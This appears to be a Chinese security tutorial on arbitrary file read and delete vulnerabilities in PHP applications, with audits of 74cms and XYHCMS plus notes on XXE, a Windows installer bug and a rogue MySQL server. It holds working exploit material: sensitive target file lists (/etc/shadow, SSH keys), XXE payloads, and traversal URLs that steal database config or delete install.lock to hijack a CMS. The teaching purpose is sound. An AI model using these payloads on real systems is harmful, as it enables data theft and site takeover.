
作者:掌控安全-柚子
任意文件读取是属于文件操作漏洞的一种,通过提交专门设计的输入,攻击者就可以在被访问的文件系统中读取或写入任意内容,往往能够使攻击者从服务器上获取敏感文件,正常读取的文件没有经过校验或者校验不严格,用户可以控制这个变量或者变量读取任意文件。
一般任意文件读取漏洞可以读取配置信息甚至系统重要文件。
严重的话,就可能导致ssrF,进而漫游至内网。
存读取文件的函数
读取文件的路径用户可控,且未校验或校验不严输出了文件内容
<?php
$filename="test.txt";
readfile($filename);
?>
<?php
$filename="test.txt";
echo file_get_contents($filename);
?>
index.php
<meta charset="UTF-8">
<?php
$filename = $_GET['file'];
if(isset($_GET['file']))
{
// $fp = fopen($filename,"r") or die("无法读取文件");
// $data = fread($fp);
echo file_get_contents("$filename");
}else{
echo '<h1>任意文件读取</h1>';
}
?>
任意文件读取,是Web安全中的高危漏洞,导致网站处于极度不安全的状态
下载服务器任意文件,如脚本代码、服务及系统配置文件等;
可用得到的代码进一步代码审计,得到更多可利用漏洞。 同样任意文件读取也能在php中带来很多危害,比如比较严重的信息泄露,ssrF,反序列化问题ssrf文章 ,反序列化文章
存在读取文件的功能点
存在下载文件的功能点
提供文件查看或下载功能点
windows: C:\boot.ini (查看系统版本) C:\Windows\System32\inetsrv\MetaBase.xml (iis配置文件) C:\Windows\repair\sam (存储系统初次安装的密码) C:\Program Files\mysql\my.ini (Mysql配置) C:\Program Files\mysql\data\mysql\user.MYD (Mysql root) C:\Windows\php.ini (php配置信息) C:\Windows\my.ini (Mysql配置信息) …
Linux: /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_rsa.keystore /root/.ssh/known_hosts /etc/passwd (主机账号文件) /etc/shadow (主机密码文件) /etc/my.cnf (Mysql配置文件) /etc/httpd/conf/httpd.conf (apache配置文件) /root/.bash_history (root操作命令历史记录) /root/.mysql_history (mysql命令历史记录) /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts /proc/config.gz …
&RealPath=
&RealPath=
&FilePath=
&file=
&filename=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&readfile=
&filep=
&src=
&menu=
&META-INF=
&WEB-INF= ……
一般我拿到一个任意文件读取得先判断权限大不大,如果权限够大的话可以直接先把/etc/sadow读下来,权限不够就读/etc/passwd,先把用户确定下来,方便后续操作
读取各个用户的.bash_history能翻有用的信息,如编辑一些敏感文件
读取程序配置文件(如数据库连接文件,可以利用数据库写shell)
读取中间件配置文件(weblogic/tomcat/apache的密码文件、配置文件,确定绝对路径,方便后面读源码)
读取一些软件的运维配置文件(redis/rsync/ftp/ssh等等程序的数据、配置、文档记录)
读取程序源代码,方便后面做代码审计,找突破口
读取web应用日志文件,中间件的日志文件,其他程序的日志,系统日志等(可以网站后台地址、api接口、备份、等等敏感信息)
还有就是可以用字典先跑一波(字典之前有分享过),信息收集还是要全面点
file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),show_source(),file(),除了这些正常的读取文件的函数之外,另外一些其他功能的函数也一样可以用来读取文件,比如文件包含函数include等,可以利用PHP输入输出流php://filter/ 来读取文件。
file_get_contents,在参数完全可控的情况下,可以出发phar反序列化,最严重的情况可以导致rce。
Phpcmsv9在2012年被爆出任意文件读取漏洞,当时也有很多企业因为这个漏洞被入侵,漏洞文件/phpcms/modules/search/index.php public_ 的get_suggest_keyword函数
此外,还有copy()函数,这里的copy一般的应用场景是路径可控,或者是图片地址,导致可以下载,74cms里面存在这个例子。
74cms v4.2.3前台任意文件读取
_save_avatar() 函数
protected function _save_avatar($avatar,$uid){
if(!$avatar) return false;
$path = C('qscms_attach_path').'avatar/temp/'.$avatar;
$image = new \Common\ORG\ThinkImage();
$date = date('ym/d/');
$save_avatar=C('qscms_attach_path').'avatar/'.$date;//图片存储路径
if(!is_dir($save_avatar)) mkdir($save_avatar,0777,true);
file_put_contents('balisong.txt',time());
$savePicName = md5($uid.time()).".jpg";
$filename = $save_avatar.$savePicName;
$size = explode(',',C('qscms_avatar_size'));
copy($path, $filename);
foreach ($size as $val) {
$image->open($path)->thumb($val,$val,3)->save("{$filename}._{$val}x{$val}.jpg");
}
M('Members')->where(array('uid'=>$uid))->setfield('avatars',$date.$savePicName);
@unlink($path);
}
代码审计可以看到将$avatar拼接到了$path变量中,然后将$path copy到了$filename去:
copy($path, $filename);
$filename,它的文件名命名规则为:
$savePicName = md5($uid.time()).".jpg";
这里就存在一个任意文件读取的操作了,首先我们的$avatar是从cookie里面取出来的,并且没有进行过滤,也没有限制后缀,直接拼接到了路径中,导致我们可以通过引用../这种跳目录的方式来让这个文件改变,并且copy之后的文件是个图片文件
众所周知,图片文件我们是可以直接下载下来的
所以我们可以控制源文件,然后可以知道目的文件的路径以及名称,那么就可以达到一个任意文件读取的效果。
简单总结就是:
可以看到 _save_avatar() 函数首先获取要读取文件的路径,
再生成图片存储路径 $save_avatar 和 文件名 $filename。
然后用copy()函数把读取的文件内容复制给 $filename。
其中$avatar 部分变量可控,filename可猜解,导致的文件读取漏洞。
引申:如果当 file_get_contents(),copy(),或者readfile()这些操作文件的函数的参数完全可控的时候,表示协议可控,那么就可以可以通过phar协议触发反序列化, 比如readfile(‘phar://./test.phar’),最严重的危害还能直接导致rce。
准备一个XXE漏洞的文件
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的情况
?>
XXE的利用主要有:任意文件读取、内网信息探测(包括端口和相关web指纹识别)、DOS攻击、远程命名执行等。此处只介绍任意文件读取的利用,其他利用可转至xxe文章学习。
https://bbs.zkaq.cn/t/4818.html
任意文件读取代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
基于file协议的XXE攻击 XMLInject.php
<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
# LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";`?>
file_get_content('php://input')接收post数据,xml数据
?>
XML.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>`</creds>
导致可以读出etc/passwd文件,在使用file:// 协议时,有以下几种格式: file://host/path
Linuxfile:///etc/passwd
Unixfile://localhost/etc/fstabfile:///localhost/etc/fstab
Windowsfile:///c:/windows/win.inifile://localhost/c:/windows/win.ini
(下面这两种在某些浏览器里是支持的)file:///c|windows/win.inifile://localhost/c|windows/win.ini
XML文档是用PHP进行解析的,那么还可以使用php://filter 协议来进行读取。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
]>
<root><foo>&content;</foo></root>
curl支持file伪协议,利用file伪协议可以获取本地文件系统

php curl识别出来这是个file协议,他会忽略192.168.224.130,而是直接读取文件/etc/passwd。
环境准备
XYHCMS官网:
程序源码下载:
http://www.xyhcms.com/Show/download/id/2/at/0.html
测试站首页

代码分析 漏洞文件位置:/App/Manage/Controller/TempletsController.class.php 第59-83行:
public function edit() {
$ftype = I('ftype', 0, 'intval');
$fname = I('fname', '', 'trim,htmlspecialchars');
$file_path = !$ftype ? './Public/Home/' . C('CFG_THEMESTYLE') . '/' : './Public/Mobile/' . C('CFG_MOBILE_THEMESTYLE') . '/';
if (IS_POST) {
if (empty($fname)) {
$this->error('未指定文件名');
}
$_ext = '.' . pathinfo($fname, PATHINFO_EXTENSION);
$_cfg_ext = C('TMPL_TEMPLATE_SUFFIX');
if ($_ext != $_cfg_ext) {
$this->error('文件后缀必须为"' . $_cfg_ext . '"');
}
$content = I('content', '', '');
$fname = ltrim($fname, './');
$truefile = $file_path . $fname;
if (false !== file_put_contents($truefile, $content)) {
$this->success('保存成功', U('index', array('ftype' => $ftype)));
} else {
$this->error('保存文件失败,请重试');
}
exit();
}
$fname = base64_decode($fname);
if (empty($fname)) {
$this->error('未指定要编辑的文件');
}
$truefile = $file_path . $fname;
if (!file_exists($truefile)) {
$this->error('文件不存在');
}
$content = file_get_contents($truefile);
if ($content === false) {
$this->error('读取文件失败');
}
$content = htmlspecialchars($content);
$this->assign('ftype', $ftype);
$this->assign('fname', $fname);
$this->assign('content', $content);
$this->assign('type', '修改模板');
$this->display();
}
这段函数中对提交的参数进行处理,然后判断是否POST数据上来,如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。 我们可以通过GET传入fname,跳过前面的保存文件过程,进入文件读取状态。 对fname进行base64解码,判断fname参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。 对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞。
漏洞复现 登录网站后台,数据库配置文件路径:\App\Common\Conf\db.php
我们将这段组成相对路径,..\..\..\App\Common\Conf\db.php,然后进行base64编码,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
最后构造的链接形式如下:
http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
通过url访问,成功获取到数据库敏感信息.
修复建议 1、取消base64解码,过滤.(点)等可能的恶意字符 2、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。
不仅在某些cms里存在这样的漏洞,在windows和mysql里也一样存在。
漏洞原理 该bug在“MsiAdvertise.”中调用此函数将导致安装程序服务复制文件。这将把可以用第一个参数控制的任意文件复制到c:windows\installer……在模拟时完成检查,但是使用连接仍然有一个TOCTOU。这意味着我们可以将它复制为SYSTEM的任何文件,并且目标文件总是可读的。这会导致任意文件读取漏洞。
复现思路 1、同一台windows主机创建两个账户,一个是tdcoming(管理员组),一个是test(普通用户组) 2、登录两个账号(使用mimikatz,或者msf可以实现) 3、在tdcoming桌面上放一个文本文件 4、通过test账户,利用作者的poc读取管理员tdcoming组的桌面文本内容
漏洞复现 1.创建两个账号

2.登录两个账号

3.在tdcoming桌面上放一个文本文件


4.通过test账户,读取管理员tdcoming组的桌面文本内容


漏洞原理 攻击者搭建一个伪造的mysql服务器,当有用户去连接上这个伪造的服务器时。攻击者就可以任意读取受害者的文件内容。主要是因为LOAD DATA INFILE这个语法。作用是读取一个文件的内容并且放到一个表中。
相关exp:
首先是配置恶意服务器。在db服务器的命令行里修改root/exp/rogue_mysql_server.py文件,设port为3306外的其他端口,这里设为3307,然后在filelist中选择一个要读取的文件。我们这里读取/etc/passwd文件。

2.运行python rogue_mysql_server.py,启动服务,服务会监听3307端口。

3.打开phpMyAdmin的登录页面,地址输入 db:3307 用户密码随意输,提交登录。


4.会发现生成一个mysql.log日志,查看日志。

5.在日志中我们看到成功读取了passwd文件。

同样是被删除文件的变量用户可控,且没有进行严格的校检,所以导致任意文件删除,再配合目录遍历,删除硬盘上的其他文件。
这个漏洞的危害还是很大的,别人可以删除你电脑上的私密文件等。可能哪天重启服务器发现服务器崩溃了,都有可能是这个漏洞造成的。
首先在当前目录及上级目录创建1.txt文件以作测试

index.php

先来操作当前目录下1.txt,构建地址:
成功删除。


采用正则匹配,严格过滤用户参数
检查用户使用的文件名是否存在…/这样的字符
在php.ini中设置open_basedir来限定文件访问范围
定义和用法 rmdir() 函数删除空的目录。 若成功,则该函数返回 true。若失败,则返回 false。
rmdir(dir,context)

参数描述dir必需。
规定要删除的目录。context必需。
规定文件句柄的环境。
Context 是可修改流的行为的一套选项。
说明和注释
尝试删除 dir 所指定的目录。 该目录必须是空的,而且要有相应的权限。
对 context 的支持是 PHP 5.0.0 添加的。
例子<?php $path = "images";if(!rmdir($path)){echo ("Could not remove $path");}?>
定义和用法 unlink() 函数删除文件。 若成功,则返回 true,失败则返回 false。
unlink(filename,context)

说明和注释
对 context 的支持是 PHP 5.0.0 添加的。
例子
<?php
$file = "test.txt";
if (!unlink($file))
{
echo ("Error deleting $file");
}
else
{
echo ("Deleted $file");
}
?>
漏洞影响
XYHCMS 3.2
漏洞分析
/App/Manage/Controller/DatabaseController.class.php
//删除sql文件
public function delSqlFiles() {
$id = I('id', 0, 'intval');
$batchFlag = I('get.batchFlag', 0, 'intval');
//批量删除
if ($batchFlag) {
$files = I('key', array());
} else {
$files[] = I('sqlfilename', '');
}
if (empty($files)) {
$this->error('请选择要删除的sql文件');
}
foreach ($files as $file) {
$_ext = pathinfo($file, PATHINFO_EXTENSION);
//拼接后直接删除
foreach ($files as $file) {
unlink($this->getDbPath() . '/' . $file);
}
$this->success("已删除:" . implode(",", $files), U('Database/restore'));
}
漏洞复现 1. 登录后台 2. 删除安装锁文件 a.get方式
http://www.0-sec.org/xyhai.php?s=/Database/delSqlFiles/sqlfilename/..\\..\\..\\install/install.lock
b.post方式
POST数据:key[]=../../../install/install.lock
3. 之后访问 http://www.0-sec.org/install重装cms